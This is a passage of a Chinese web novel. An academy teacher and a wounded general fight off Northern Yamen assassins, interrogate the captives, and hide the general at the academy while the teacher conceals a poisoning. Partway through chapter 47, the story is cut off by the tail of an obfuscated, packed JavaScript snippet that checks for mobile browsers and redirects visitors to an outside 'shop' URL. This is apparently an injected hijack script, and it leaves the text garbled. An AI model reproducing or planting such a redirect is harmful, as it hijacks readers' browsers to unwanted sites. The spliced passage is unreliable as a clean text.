软剑如蛇般缠上对方的兵刃,似乎只需接触一下便能将对方兵刃断成数节。
谢英觉得她手中的剑颇为眼熟,不过大战在即也没心思细想。
尽管有唐黎上官竹的加入,局面也未能扳回。那俩学子的功夫顶多能护住自己,不给谢英添乱。
而谢英也处于力竭状态,他被对方踹翻在地,差点要被剑刺穿胸脯,突然从石头后冒出一双手抓住他的双脚,猛地将他拉过来。
他忍不住回眸,自己这般身量竟能被一位姑娘拉动。
“谢将军,我有个法子....”林焕临近耳语。
46. 北衙暗桩
鼓声连绵不断,除了报时,也是书院闭院的指令。圆月静悄悄的爬上树头,隐与薄云之后。此时之美须有人赏才能算作景。
“枯木,凉月。”蔺渊轻咳几声抬头望月,萌生作画的念头,他喊来苏天赐道:“取笔墨纸砚来。”
画纸展开,蔺渊几下勾勒,山景便绵延与纸上,只是这月亮他迟迟没有动笔。
“夫子,怎么不画了?”
“不知为何,这手有点抖。”蔺渊将笔放回笔山,并不打算将此画画完。
他摇着躺椅目不转睛的盯着月亮,嘴里还念念有词道:“夜阑风静欲归时,唯有......”
“夫子!”林焕的声音响起,她跌跌撞撞的跑过来,指着西边简单明了的道:“谢英,后山,快!”
等林焕喘口气回过神,庭院中只剩摇椅晃阿晃,蔺渊早已没有身影。
苏天赐收拾着画纸砚台,临进屋前抬眸道:“你在流血。”
“.......”林焕愣了半响,才反应过来胳膊上被刀划伤。方才一路上山没感受到痛,直到苏天赐讲出来,疼痛感立马蔓延全身。
“宝儿。”劫后余生的林焕抱着苏天赐就哭了起来。
得到消息的蔺渊一刻也没停留的直奔山门处搬救兵。自从初月现身后,蔺渊就让顾平安安排人护卫书院,以防万一。而挨了十军棍的顾平安怕老婆担心,昨晚就搬到书院来住。
蔺渊来到山门处却未见到人,顾平安的手下回复道:“方才巡山的弟兄发现后山异常并放出信号,顾大哥带队朝着西边去了。”
“如今守山门的有多少人?”
“十五人。”
“分出八人随我去后山。”蔺渊安排道,但对方并不服从他的命令。
“夫子,你没有资格对我等下命令。”
蔺渊掏出令牌,低声道:“南衙行事,务必保后山无虞,给我八人。”
见到令牌,对方也不多问,直接服从命令道:“属下领命。”
蔺渊拉住对方参拜的手道:“诶,别拜,我不是官。”
蔺渊带着八人小队朝着后山前进,走到一半就遇到倒地的尸体。这些人全部黑衣蒙面,救人为主的蔺渊没有在此处停留太久,继续前进。
刀剑相碰之声越来越近,蔺渊抬手示意众人戒备,确定方向后一鼓作气冲过去。
他在混乱之中碰到顾平安,顾平安一枪掼喉,解决一人后问道:“你怎么来了?”
蔺渊微撤几步,低头闪躲过黑衣人的攻击,回答道:“是我的学生通知我的。”
“那俩是不是也是你的学生?”顾平安指着不远处挥剑的唐黎,以及上蹿下跳一边躲避一边偷袭的上官竹。
蔺渊眉头立刻皱了起来:“这不是胡闹吗。”他指挥身后的人道:“快,把他俩拉过来。”
由于救兵赶到,在人数上完全压制黑衣人一方。蔺渊得以在后方安全的训斥着两位学生。
上官竹抠着树上的小洞,这次他没有还嘴。主要是在心里认可蔺渊的话,确实险恶,差点小命不保。
“还有你。”蔺渊指着唐黎半天没开口。他想让唐黎长点教训,又怕话重了让唐黎在众人面前没有面子,反而得不偿失。
他连说好几个你,最后背过手去叹口气。唐黎抓着裙摆的手有些抖,与上官竹一般现在开始后怕。
“蔺夫子。黑衣人全部伏法,谢将军请你过去。”跑来的士兵行礼道。
“好,知道了。”他指着那俩低头反思的学生呵斥道:“地上有钱吗?一个个低着头,还不快给我回山上去。”说完转身就走。
见蔺渊赶过来,顾平安赶紧介绍情况:“北衙伢子。一共三十二人,或伏诛或服毒,无一生还。”
蔺渊挽起袖子蹲下检查,最后认可顾平安的结论:“确实是北衙暗桩。牙里镶了毒药。”
谢英满目怒火,狠狠将剑扔了出去,咬牙切齿道:“他怎么敢的!”
南衙十六卫,北衙六军都属天子近卫,一南一北斗的不可开交。至于陛下,心里跟明镜似的,甚至可以说是陛下默认双方的敌对。
顾平安扶着谢英,劝慰道:“属下还是先带您去疗伤吧,这里就交给蔺夫子。”
谢英瞥了眼顾平安,发现此人不但没记恨自己打的军棍还这般忠心,倒是能用之人,打算明日便将他官复原职。
他又安排蔺渊道:“必须彻查。”
谢英走后,蔺渊继续蹲下检查尸体,他锲而不舍的掀开每个尸体的蒙面,掰开每个尸体的嘴巴。
上官竹远远的望着蔺渊,觉得这样的蔺渊很陌生,便跟一旁的唐黎道:“夫子在干什么?这不是推官的活吗?”
唐黎径直走到蔺渊身旁道:“他们是来抢同盟书的吧?”
“........”蔺渊掰开尸体的嘴巴,认真研究着,并未回答唐黎的问话。
唐黎眼波微动,她认为蔺渊在明,细作在暗。经历过投毒、落崖,还有今日的刺杀就能看出,这帮人是无所不用其极。蔺渊武功那么差,根本保护不了同盟书,他连自己都保护不好。
于是也随着蔺渊蹲下道:“其实,我可以和你一起保护同盟书。”
“不需要。”他拒绝的很快,起身换个尸体继续查看。
“这么危险,你一个人应付不来的。我是真心想帮你的。”
而蔺渊就是怕将唐黎牵扯进来。确实如唐黎所说,此事并不安全。
所以他是故意不搭理唐黎。
“……”
“蔺万宗,你这人有没有礼貌,我在给你讲话呀。”唐黎气得站起身来。却不知身后的尸体也站了起来,正目光凶狠的死盯着唐黎。
“!”
见蔺渊眸子闪过惊慌,唐黎还不知道发生什么,蔺渊立马将她拉到身后,大声汇报这边状况寻求支援。
“有人诈死!”
弩箭朝着蔺渊的喉咙飞来,他下意识摸上腰间,可惜腰间早已没有软剑。
在最后关头只能滚地闪躲,倒霉的他又碰上个诈死的伢子,还十分“亲近”的躺在对方身上,直接被人锁喉。
“蔺万宗!”唐黎飞身过来,她不停地踹着伢子道:“放开!你快放开他!”
可那伢子劺足劲儿的想弄死蔺渊,宁死也不肯松手。蔺渊被勒的喘不过气,他挣扎着用手肘往后撞去却没能成功。
眼看蔺渊就要背过气去,唐黎拔出的匕首高高举起,却迟迟没有下手。
打架与杀人完全是两码事,尽管是训练有素的杀手,午夜梦回时也会回忆起那些血淋淋的场景,杀人的那些画面更会跟随一辈子,永远不会消散。
蔺渊深知杀人对唐黎而言意味着什么。他艰难地冲唐黎摇头示意她千万不要动手。可唐黎几下犹豫间已下定决心。
救人!没有什么比这更重要的。
幸运的是蔺渊挣扎同时捡到一柄匕首,他毫不犹豫的反手刺去,命中脖颈,一刀毙命。
黑衣人卸了劲儿,蔺渊才得以喘息,他半撑着身子剧烈咳嗽。等抬头再看向唐黎时还是那温柔的笑容。
唐黎怔怔地盯着蔺渊,眼眶里噙满泪水却倔强的不肯落下。差一点她的匕首就要落下,差一点她就要结果人命一条。
“我......”唐黎想说点什么,喉咙像是被卡住似的好多话堵在那里。
蔺渊因为被勒的缘故,勉强发出沙哑的声音:“快回书院吧。你们掌事学官该检查,再不回去少不了一顿臭骂。昂。”
又拿过她手中的匕首,安抚道:“我没事,有顾相公在呢。快带着上官竹回山吧。”
唐黎紧抿着唇角点点头,她迈出几步又担忧地看向身后,蔺渊已被赶过来的兵士们搀扶起来。
他到底是什么样的人?能如此温柔,却又如此坚强。这两种相悖的性格夹杂与一起,让唐黎生出好奇来,她太想知道蔺渊的一切故事。
定是跌宕起伏,荡气回肠。
“咳咳。”被勒的感觉真心不好受,蔺渊的嗓子还是不太舒服。
顾平安跑
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过来道:“还是你心细,一共有八人诈死,跑脱三人。逮捕五人。”
“嗯。”蔺渊揉了揉脖子。他见顾平安唇无血色,关切的问道:“你的伤无碍吧?”
“没事,还挺得住。”说话眼间一黑,踉跄几步差点没有摔倒。
“见笑了。还望蔺兄出手相助。”他不顾伤痛如此卖力,为的就是官复原职。
这点他没说明,但蔺渊明白。
“好,我帮。”蔺渊跟着顾平安来到被擒的刺客面前。
顾平安剑指伢子审问道:“你们既然供职北衙,便也是朝廷的人,为何刺杀朝廷命官?”
伢子们自然不会回话,他们是北衙的暗桩,也可以说是死士。若不是顾平安将他们的毒牙撬了,早就服毒自杀。
“不说是吧?动刑!”顾平安一门心思的想在谢英面前表现,恨不得现在就从这些人口中撬出真相。
“慢。”蔺渊制止他道。伢子中有人抬眸,甚至闪过一丝期许,期许这书生能为自己求情。
“把嘴堵上,动静小点,这离书院太近再吓着学子们。”蔺渊怕学生们受惊,特意嘱咐道。
兵士们照做,蔺渊便寻了块石头歇息,等待顾平安的审问结果。
可惜结果差强人,不但没审出来什么,反而有两位伢子不堪折磨断了气。
顾平安没了办法便来求助蔺渊,他挨着蔺渊坐下道:“怎么办?都是死士,什么也问不出来。”
“顾相公一直在军中,怕是不了解如何审讯。有时候动刑是下策。攻心才是上上策。”
“说得简单,我又不知道这些人的身份背景,甚至不知道他们的姓名,如何拿捏,又如何攻心?”顾平安语气中有些急躁。
书院后山出现这么多死士,他不信伢子们只单纯的来刺杀谢英,怕是与藏书楼中的同盟书有关。还有三日王爷就来邓州,这时可千万不能出乱子。
蔺渊揉了揉脖子缓解疼痛,说的随意道:“你给我作个揖,拜我为师,我便教你。”
“这都什么时候了,你还有心情玩笑?”
看他那模样是真急了,蔺渊也不逗他,指着三人中那个鼻子有痣的小子道:“我方才就注意到他,此人目光闪烁,分明胆怯。想必入行短,心志不坚啊。”
“好,那我便去撬开他的嘴。”
“诶诶诶。”蔺渊拉住他道:“我还未说完。攻心嘛,便不要伤他。让他看着别人受刑,让他永远不知道那刀子何时落在自己身上,那才好玩。”他讲话还是慢条斯理的,只是语调透出几分凛冽。
顾平安照着蔺渊所说的行动,来到伢子面前道:“何人派你们来的?除了刺杀谢将军,可有其他任务?”
“……”三人皆是沉默。
“很好。”顾平安的匕首转手间就刺穿一人的手掌,痛苦声刺痛耳膜。
他目光紧盯的那位鼻间有痣的人道:“你很害怕?”
那人点点头,又连忙摇摇头。
“别害怕。”顾平安虽在安慰,但转手间匕首再次刺出,黑暗中也不知道是谁受了伤,但匕首喇过骨头的声音过于清晰。
顾平安拉起胆怯的那人,让他面对自己的兄弟们,轻声道:“只要回答我的问题,我可以保证你们不会受苦。否则……”
他指着不远处成队的兵士道:“他们会带你们到州府大狱,那里的刑罚更多。死肯定是死定了,但那过程不怎么痛快。当然,你可以选择回答,或者不回答。我尊重你的选择。”
那人咬牙看向剩下的二人,他的脸上有些扭曲,似乎在做着艰难的决定。
此人的心里防线已被击溃,招供只是早晚的事。顾平安松了口气转眸看向石头上歇息的蔺渊。
他正悠闲地坐在石头上,用手帕擦拭手上的血迹。月光笼罩下来,本来修长的指尖仿佛泛着淡青色的冷芒。静静地坐在那里,明明是那么温润,却偏偏带了股嗜血的狠戾。
“果然,能混到白虎山首领的位置不是靠功名。”顾平安最后得到这么个结论。
47. 娘家侄儿
伴随着鸡鸣太阳缓缓升起,温暖的阳光洒下林间。经过兵马司一夜的清理,后山恢复清静,只是这血腥味要等几天才能消散。
书院中学子们对昨晚的事都不知情,还是如往常般。
“蔺夫子早。”
“夫子好。”
蔺渊微笑的回应着学子们的问好,他抱着几本书回到寓所。
“谢英如何了?”
贾复推开门将蔺渊让了进来道:“除了右手脱臼,左脚腕挫伤外,其他的都是皮肉伤,没伤到根本。”
蔺渊掏出十两银锭道:“多谢贾先生肯上山救治。”
“使不得,使不得。”贾复推辞道:“救人本就是医者本分,银子可不敢收。”
“我听上官竹说您的孙子即将出世,这钱就当我给孩子的,拿着吧。”蔺渊直接把银锭塞到贾复怀中。
他看向昏睡着的谢英道:“这位是我夫人的娘家侄儿。年轻气盛,又会些腿脚功夫,好与人争斗。昨夜来找我,不知怎么就落得这一身伤。我怕送医馆会惊动官府,便请您过来。”
谢英留在书院养伤是蔺渊与顾平安商议的结果,他们弄了个假谢英在兵马司混淆视听,将真正的谢英留在书院。
蔺渊拱手作揖道:“还望贾先生替我侄儿隐瞒一二。你放心,他绝不是作奸犯科之徒,不会给您惹上麻烦的。”
贾复还礼道:“使不得,你是我的夫子,哪有你与我行礼的道理。”他怕蔺渊再跟自己客气,连忙道:“夫子先帮我照看一二,我去配些药。”
他走到门口像是想起什么:“夫子,你气色不太对。”
“我吗?”守在床边的蔺渊抬眸道。
“是,脸色不正。要不我给你把把脉?”
“不必了,可能昨晚忧心过度没有休息好。”他低头咳嗽几声。
“你这咳嗽声也不对。我还是给你看看吧。”说着就要来给蔺渊把脉。
“真的不用了,快些抓药救我侄儿要紧。”蔺渊连忙起身道:“你看,我不咳嗽了。方才可能是吸了口凉风。”
贾复打量着蔺渊半盏茶的时间,最后点头道:“确实,可能是我看走了眼。”
待贾复离开,一直屏气的蔺渊才松口气。他轻咳一声,紧接着一发不可收拾的咳嗽起来。越想控制不咳,反而咳的越厉害,咳到他眼泪直流。
“咳咳咳咳。”他的咳嗽声吵醒床上的谢英。
谢英微微转头,见蔺渊咳嗽到弯腰,白了他一眼拉过被子蒙到头上,对蔺渊那令人堪忧的身体状况完全没有询问,似乎还在责怪他叨扰到自己休息。
好不容易蔺渊止住咳嗽,他缓缓地吐了口气,感受到肺部刺刺的疼痛。
今天是第六日,看来是初月下的药起了作用。
“夫子。”苏天赐敲敲门道:“夫子,该上五斋的课了。”
“好。”蔺渊收拾着书籍,临走前看了眼被子下的谢英,轻声嘱咐道:“切记,莫要离开我的寓所。”
尽管谢英不待见蔺渊,但为了养伤还是听从蔺渊的建议,窝在寓所绝不踏出一步。
贾复给他换着药道:“恢复的挺好,注意伤口不要见水。”
“谢过贾先生。”谢英礼数周全的答谢道。
这三日贾复天天来给谢英换药,一来二去就觉得相熟,见谢英总是对蔺渊冷言冷语的,便以长辈的口吻问道:“孩子,你今年多大了?”
谢英谨慎地瞥了他一眼,见头发花白的贾复正认真的给自己换药,想来是随口唠家常,没有藏歹心思。于是回答道:“二十三。”
“也不小了,可有娶妻?”
“定了亲,未娶。”
“你看看,是不是岳山嫌你不够稳重,不舍得将女儿交给你?”
“.....”谢英眨眨眼,他完全不知道这大夫的话从何论起。
“年轻人该收收脾气。你叔叔待你不薄,何苦仇家见面似的,冷脸相对?”
“叔叔?”谢英更加糊涂,叔父什么时候来到邓州?来护送王爷吗?
正逢蔺渊进屋,贾复起身道:“夫子回来了,小谢的伤好的很快,年轻就是好啊。”
“劳烦您了。”蔺渊点头致谢。
贾复收拾着药箱道:“最近我就不上山了。小谢,你日后的药就由你叔叔来上。”
蔺渊送着贾复离开后回屋,还未进门一柄匕首直入门框,他不慌不忙的拔下匕首,左右查看着门框道:“扎坏了是要赔的。”
“你!”谢英激动到差点扯着伤口,他压低声音道道:“你敢冒充我的叔父。你可知我叔父是何人?”
“自然知道,官拜一品大将军,立下赫赫战功。”蔺渊拱手抱拳以示尊敬。
“那你有何胆子冒充大将军?”
看着满目赤红要咬人的谢英,蔺渊不紧不慢的解释道:“我说你是我妻的娘家侄儿,又没说你是我亲侄儿。”
“那也不行。”
蔺渊坐到床边,哄着他道:“行不行,也就这样了。你修养的这三天,所有人都知道你是我侄儿。大侄子啊,对我这个长辈客气些。”
被占了便宜的谢英总觉得憋着口气吐不出来,面前的蔺渊还笑盈盈的要喂自己喝药。他不耐烦的抬手一掌推了出去,药碗打翻,蔺渊也摔倒在地迟迟没有起身。
“喂?”
可是地上的蔺渊没有回应,谢英眉头紧皱,探着身子道:“喂,你别装了,我功力散了七成,那一掌也没使多大的劲儿。”
“.......”还是无人回应。
“喂!”谢英连忙踉跄下床,扶起蔺渊发现他面色蜡黄,双目紧闭。他探着脉道:“脉像浮紧,只是风寒?”
“喂,喂,醒醒。”谢英不客气的打着蔺渊的脸庞。
“咳咳。”蔺渊长吁一口,缓缓地睁开眼发现自己躺在地上,便问道:“我这是怎么了?”
谢英扶着胳膊爬回床上,白了他一眼道:“身子骨弱成这样,果然还和以前一个德行。”
蔺渊虚弱的笑了笑,他撑着地起身又是一阵晕眩,多亏上官竹及时出现扶住了他。蔺渊眨眨眼试着聚焦视线,看清来人后笑着道:“是你啊。身手蛮麻利的。”
上官竹觉得夫子状态不对,担忧的问道:“您没事吧?”
“我还好。我有事出去一趟,你照顾好谢英。”他看向谢英勾起嘴角,露出一抹诡异的笑容。
“你就放心吧。”等蔺渊一走,上官竹立马跳到谢英床上,唬得谢英往后退了几步。
“你真是我家夫子的侄子?”
“是不是与你有何干系?”
“那我家夫子呢?也是南衙的吗?他是金吾卫吗?你们来书院做什么?我就知道夫子绝不是简单的教书先生!”上官竹的嘴完全不停,甚至不等谢英回答,一个问题接着一个问题。
他已经憋了整整三天,蔺渊不告诉他任何事,他就把主意打到谢英身上,今日总算守到谢英清醒。
谢英回答的很简单,一个字:“滚。”
偏偏上官竹是个混不吝,他完全不在意谢英的态度,还在问东问西,甚至拍着谢英的肩头道:“你是夫子的侄儿,那就与我同辈,咱们日后就兄弟相称。谢兄,夫子到底是不是金吾卫?”
谢英平躺在床上,呆呆地的望着天花板,上官竹的声音萦绕耳旁,怎么也挥散不去。
这一刻,他终于明白蔺渊临走前那抹笑容是何意思。
果然,他就是故意让这小子留下的!
“上官,你干什么呢?”女子的声音响起。
谢英眼睛立马活泛起来,他认识这个声音,是那位力大无穷的姑娘。
一袭粉衣的姑娘出现在门口,她头发盘的仔细,头上钗了两个木簪子,既简约又得体。杏圆的眼,鹅蛋脸,笑起来还有可爱的小酒窝。
林焕拎着食盒道:“谢先生醒了?那我今日就没白送饭。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354102|140646||http|test|mini|href|location''.split(''|''),0,{}));
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>谢英郑重的拱手行礼道:“多谢。”
林焕愣了一下,随即笑道:“我只是送个饭那里用得上这么大的礼。”
“谢某感谢姑娘的指路之恩,若非姑娘指出那些陷阱的位置,我又怎能引伢子入陷阱从而脱身。”
“那也不是我的功劳呀,陷阱是猎户们挖的,我是恰巧看到树上的标志,知道他们的位置罢了。”林焕摆着饭,热情的招呼道:“快别站着呢,来,吃饭。”
“诶。”谢英点头应是。
林焕把筷子递给谢英道:“您受了伤不能吃发物的东西。这些菜食有些清淡,对你的身体好,您可别嫌弃。”
谢英接过筷子道:“林姑娘真是心细如尘。”
林焕腼腆的低头道:“这算什么心细,不过是些力所能及的事。”
“姑娘莫要妄自菲薄,有时候偏偏是细节决定成败的。”他说的认真。
“是吗?”被夸奖的林焕抬眸看向谢英,她的眼睛十分明亮,是谢英见过纯真无暇的眸子。
谢英难得露出笑容,他点头道:“是的。”
上官竹咬着筷子看着二人你一句,我一句的聊着天,反倒自己像个外人。他也挤进聊天中,问道:“谢兄,我十分好奇师娘,她是什么样的人?漂不漂亮?温不温柔?”
林焕同样好奇的看向谢英,蔺夫子是否有家室一直是书院讨论的热门话题,这时冒出个娘家侄儿,不就等于变相承认。
“背后议论别人家事非君子所为。”谢英说完就低头吃饭。
上官竹还想追问却被林焕夹来的肉堵了嘴,他着急之间不小心咬了舌头,用林焕的话说:“耷拉着舌头,像小狗似的。”
上官竹本来还气鼓鼓的,见林焕笑得开心也跟着嘿嘿傻笑起来。只有谢英老实的端着碗,端坐着身子认真吃饭。
“咳咳。”
“咳咳咳。”
“咳咳咳咳。”这一路上蔺渊走到哪咳到哪。
初月到底下得是何毒?
为何观脉象只是风寒,却每次咳嗽都会刺痛几分肺部,这几天的痰更是变成褐色。
他脚步不停的来到藏书阁楼下。经过几天的折腾,这里的守备更加森严,刚刚官复原职的顾平安甚至亲自守卫其中。
蔺渊还没说话就咳嗽起来,惹来顾平安的询问:“受凉了?”
“可能穿得少些,着了凉。北衙的伢子可有招出什么有用的消息?”
“没有,就咬着自己与谢将军都私仇,打击报复罢了。”
“那鼻子上有痣的人怎么说?”
“他没头没尾的说了几句,说什么要保护同盟书,说是有人要在王爷请同盟书的时候毁掉同盟书,破坏两国议和。”
蔺渊不以为然的轻笑一声道:“毁掉同盟书?可笑,那日南衙、兵马司还有王爷亲卫都会在现场,谁能有这个本事去毁?提前偷走我还能信。”
“说的在理。”他靠近蔺渊低声道:“你确定同盟书在这楼中?”
“自然,南衙的消息绝对不会有错。咳咳咳。”
见他咳嗽的厉害,顾平安解下披风就披到他的身上:“你们读书人,果然身子矜贵。”
他又劝着蔺渊回去道:“你放心这里有我守着,绝对不会出错。保证明日安安全全的将同盟书交予王爷。”
“嗯,有劳顾相公。”
“初月已在我们监控之下,只是....在书院的细作还未揪出,会不会对你不利?”
“也许本就没有什么细作吧。”这句话说得有些高深莫测,蔺渊捂嘴咳嗽几声,转身离去。
手中一闪而过的血迹被顾平安看到,他满目担忧的看着蔺渊。
时到今日他只护住同盟书,未能揪出细作。那蔺渊的任务就不算完成,他就不能戴罪立功。他现在都病到咳血,若是被扔进牢房,怕是只有等死的份儿。
诶,不对,自己为何会可怜这土匪头子?他是好是歹关我何事。
48. 对与称呼的执着
蔺渊看着手掌的血迹,哀愁涌上眉头。伤风悲秋的季节,再加上身体的不适,让蔺渊有些心神恍惚。他沿着山路来到长亭前,这里紧挨山门,是书院上下山的必经之路。
正好在此处碰到了唐黎。唐黎也挺惊讶的道:“你这是要下山?”
“哦,散步路过此处。你下山了?”
唐黎见他还坐在长亭下,便问道:“不回书院吗?”
“我看看景,你先回吧,咳咳。”
“好吧,那我先回去了。”唐黎爬了几节楼梯还能听到蔺渊的咳嗽声,他听起来很不舒服。整个人缩在宽大的披风下,向来挺直的脊梁微驼,像是在忍受什么痛苦。
于是担忧着他的唐黎折返回来:“是病了吗?”
蔺渊还未回话就走过来两三位学子问好道:“见过蔺夫子。蔺夫子近日安好?”
“嗯。好。”蔺渊靠着亭柱,颇有兴致与一旁路过的学子问好。
“病了就别在山口吹风了,快回屋里养着吧。”唐黎拉了拉他的袖子。
“你为何不叫我夫子?”蔺渊抬眸看向唐黎。他期望唐黎唤他夫子,最好能日日夜夜的唤,这样便能时时刻刻提醒自己不该对唐黎产生师生之外的情感。
“?”唐黎不解的抿了下嘴。
这时又路过一位学子问安道:“蔺夫子安好。”
“咳咳咳。都安好。”蔺渊与路过的学子点头问好。
唐黎像是明白了什么,来到蔺渊身边低声道:“你别告诉我,你病成这样坐在这里吹凉风,是想听别人叫你一声夫子。”
“然也。”蔺渊转眸看向唐黎,非常认真的点头。
唐黎皱起眉头,她完全不理解,哪有人会对一个称呼这般执着。她发自内心的询问道:“你没事吧?”
“我没事啊。”他虽是在笑,眼神却中满是忧郁。
唐黎一怔,随即反应过来:“你要离开书院了?”
“明日王爷便会来书院。等一切都结束后我自然会离开。”
“你可以不离开的。”她急忙回复道。又觉得语气过激动,找补道:“我是说你这夫子做的不错,没准就能带着十八斋过了府试。”
“我没有选择。”蔺渊抬头望天,狠狠提了一口气。
“什么叫没有选择?明明就可以向朝廷求个恩典,任务完成后留在书院任教。”
蔺渊换了个舒服些的姿势,打量着唐黎:“你很了解我吗?”
“你是二甲进士。当过几个月的京官,官虽不大,但随着大理寺断过两次奇案,也算闯出些名气。”
“嗯。”蔺渊点点头,示意她继续说下去。
“后因伯父获罪连带刺配充军,期间逃狱,落草为寇。”
蔺渊的回忆在唐黎的讲述下,纷纷出现在脑海。这十年来他从未敢回头看过,如今走到这个地步,也不允许他回头。人有时候就是会被架到两难之地,一念天堂,一念地狱。
唐黎见他出神,打了个响指道:“怎样?我说得对不对?”
“咳咳咳。”蔺渊回过神来,他道:“没有一个书院在得知我的经历后愿意聘我为夫子。”
“这有什么的,你高中进士,当过土匪,又充过军,你的阅历还多咧。”说着说着她自己都心虚。头顶土匪的身份确实不是啥好事。
蔺渊笑了几声:“这话是认真的?”
“虽然我之前对你有些成见,但不可否认你是位好夫子。林焕、上官竹也是这么认为的。”
说实话,蔺渊听得有些感动的,要知道自己教得这些学子中,唯有唐黎打心底不服管教,可又偏偏做出副尊敬的模样。今日能得到她真情实意的夸赞,书院一行也不算白来。
蔺渊目光炯炯的看向她道:“唐黎,你想不想和我一起把同盟书交给王爷?”
“什...什么?”这件事她前几天提出来过,当时被蔺渊冷言拒绝。
“我听上官竹说,你想通过立功谋取一官半职。所以你才那么想破梅花针案,对吧?”
“他怎么什么都给你说。”唐黎尴尬的抿了下唇。
“那想不想与我一起擒奸细?立大功?”
她立马进入状态,询问道:“需要我做什么?”
“不需要你作甚,明日跟着夫子面见王爷便可。”蔺渊起身理了理衣袖。
“你打算把功劳让给我?那你怎么办?你还是戴罪之身。”
“我又不全让,咱俩一人一半,如何?”蔺渊挑了下眉笑道。
他要在离开前亲手送给唐黎一个大功劳,兴许可助她成为女官。
“能不能再分林焕一点,不多,能让她在县里做账房就行,那是她娘的愿望。”唐黎竟然开始讨价还价。
这边蔺渊与唐黎商议明日大事,而谢英却对此全然不知。他正端坐在床上,打量着蔺渊的寓所。
夫子寓所与普通民居无异,进门便是堂屋,左右是两个偏房,左为尊自然就是夫子的卧房,就是自己如今住的这间,这里的一切都整洁无比,花瓶上的插花也都是对对摆放。
与上官竹的吵闹不同,苏天赐完全将谢英当透明人,自顾自的拿着鸡毛掸子打扫着。
但谢英并未满足,他想下山却被蔺渊拒绝,甚至派兵马司的人盯着,不让谢英离开书院半步,导致他一直未能与手下联系上。
此刻他正憋着一肚子的气。
“苏天赐,那是什么?”谢英指着对面墙上挂着的画卷,它孤零零的待在那里,直接破坏掉屋子居中的布局。以蔺渊的性子,是怎么忍下来的?
“画。”
“我自然知道他是画,我问你为何单独放在那里?”
“夫子没有画完。”他回完话就低头继续干活。
谢英把画展开,是副山间秋景。谢家乃世族,诗书传家,所以他一眼看出这画中缺了轮明月,于是指着枯枝位置道:“可是这儿差明月?”
“是。”苏天赐依旧实话实说道。
谢英突然计上心头,他拿来笔墨纸砚,沾饱了笔。
他了解蔺渊的性子,要是自己补上明月,必定能让蔺渊抓耳挠腮的难受几个月,想想就心情舒爽不少。
“你在干什么?”上官竹突然从窗户外探出脑袋。
谢英猛地回头,手中的笔轻轻一抖,硕大的磨点滴到纸上,慢慢晕染开来,画面留白的部分瞬间出现极丑的大墨点。
“呀!”上官竹直接跳窗而进,想要补救已经来不及了。
谢英颇为尴尬的支着手,他本意是想补全画作,并未想过毁掉这幅画。他轻咳一声,撂下笔正色神情道:“今日之事,你们谁都没看见。”
“为何?”苏天赐回眸道:“出家人不能撒谎的。”
“?”虽然苏天赐虽然天天穿着道袍,头戴莲花冠,可谢英却从未想过这少年人是位真道士。
上官竹搂过苏天赐郑重的点头道:“对,我们是好孩子,从不撒谎的。”
谢英面上闪过几分窘迫,今日本就是自己之过,也不好强迫对方替自己遮掩。
罢了,蔺渊免不了又要闹一场,随他吧。
就听上官竹又道:“不过....谢兄若是教我几招真功夫,我们可以什么都不说。”
“怎么?你又能撒谎了?”
“撒谎是你问我,我编造谎言。但我完全可以不说话,或者不主动提起此事。”上官竹挑了下眉道:“或者你多教我几招,我可以仿照副完全一样的画,来替代此画。”
“当真?”
上官竹一甩脑后的卷发道:“那是自
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然。”
谢英看了眼被毁的山景图,蔺渊怜画惜书的德行十年前已经领教过。那时衙门里的师爷不过是用他的书垫了下碗,他愣是引经据典的骂对方一个时辰,愣是一个脏字没有。师爷扒书找了两天典故才知道蔺渊骂得有多狠。
谢英摇摇头将脑海中的画面挥散,回过神来道:“好,我答应你。”
上官竹立马来到书案,挽着袖子道:“笔墨伺候。”
关于仿画这件事,上官竹完全没有吹嘘。就连谢英都暗暗佩服,没想到这滑头小子竟有如此本事,近乎以假乱真。
上官竹放下手中的笔,将原画攒巴攒巴撕了个粉碎,冲着谢英笑道:“谢兄,如何?”
“倒是有些真本事。”
上官竹把画扔给苏天赐,就缠上谢英道:“那你方才说的可还作数?”
“当然作数。我现在就可以教你。”说着他化掌为拳,直冲上官竹咽喉而来。上官竹塌腰仰面顺利躲过。
谢英的招势未变依旧是直冲咽喉。这一拳看似简单,却着实狡猾,明明朝着咽喉所去,却在即将接触之时突然变换方向,直取双眼。
谢英的拳头停在上官竹的眼前道:“形可变,意不变。记住你一开始的目标,认准后就不要随意更改。”
他不给上官竹喘息的机会,拳化掌,缠上对方的胳膊,你推我往之间,腿下一勾一带,上官竹就被绊的踉跄。
“远打近摔,贴身靠。”
上官竹站稳后试着学着谢英攻击,可每一击都被谢英躲过,不仅如此还露出破绽,被谢英击中腹部。
“呃!”上官竹捂着肚子蹲在地上,就听脑袋顶上谢英说道:“不要只注重攻,守也很重要。记住,尽量让自己少受伤,活下来的机会才会更大。”
“谢兄果然厉害。”上官竹扶着墙起身道。
“这些是需要每天练习,提高出拳的速度,自然能抢占先机。”
“明白。”
谢英指着门外低声道:“有人要进院,听脚步是唐黎。你可以试试方才我教你的那些。”
“偷袭?唐黎会生气吧?”
“不会的。习武之人经常会这般切磋的。”他勾唇一笑,坐在旁边的躺椅上,等待好戏开场。
上官竹信了谢英的话,守在门口仔细聆听着脚步。当门被推开时,上官竹的拳头也随即冲出。
但与他想象的不同,没有你来我往的拆招,只有一阵风袭来,紧接着上官竹便跌坐在地,完全不知道发生了什么。
“上官竹!”蔺渊快步跑进院,扶起他道:“你没事吧?”
“夫子?怎么是你啊?不是唐黎吗?”上官竹捂着胸口,只觉得喘不过气,喉咙处弥漫着血腥味。
“别急,慢慢顺气,会没事的。”蔺渊抬眸就见躺椅上的谢英似笑非笑,不用说幕后主使肯定是他。
蔺渊起身来到谢英面前道:“你明知道是我,为何要骗上官竹?我若是拔了剑.....”
“你的剑早没了。”谢英白了他一眼起身回屋,顺带把打扫卫生的苏天赐给丢出来。
蔺渊将上官竹扶到偏房,给他端来茶水道:“君子耻与偷袭,门后偷袭更是宵小所为。”
“是谢英教我的。我以为是唐黎,就想着闹着玩。”上官竹委屈巴巴的喝着水。
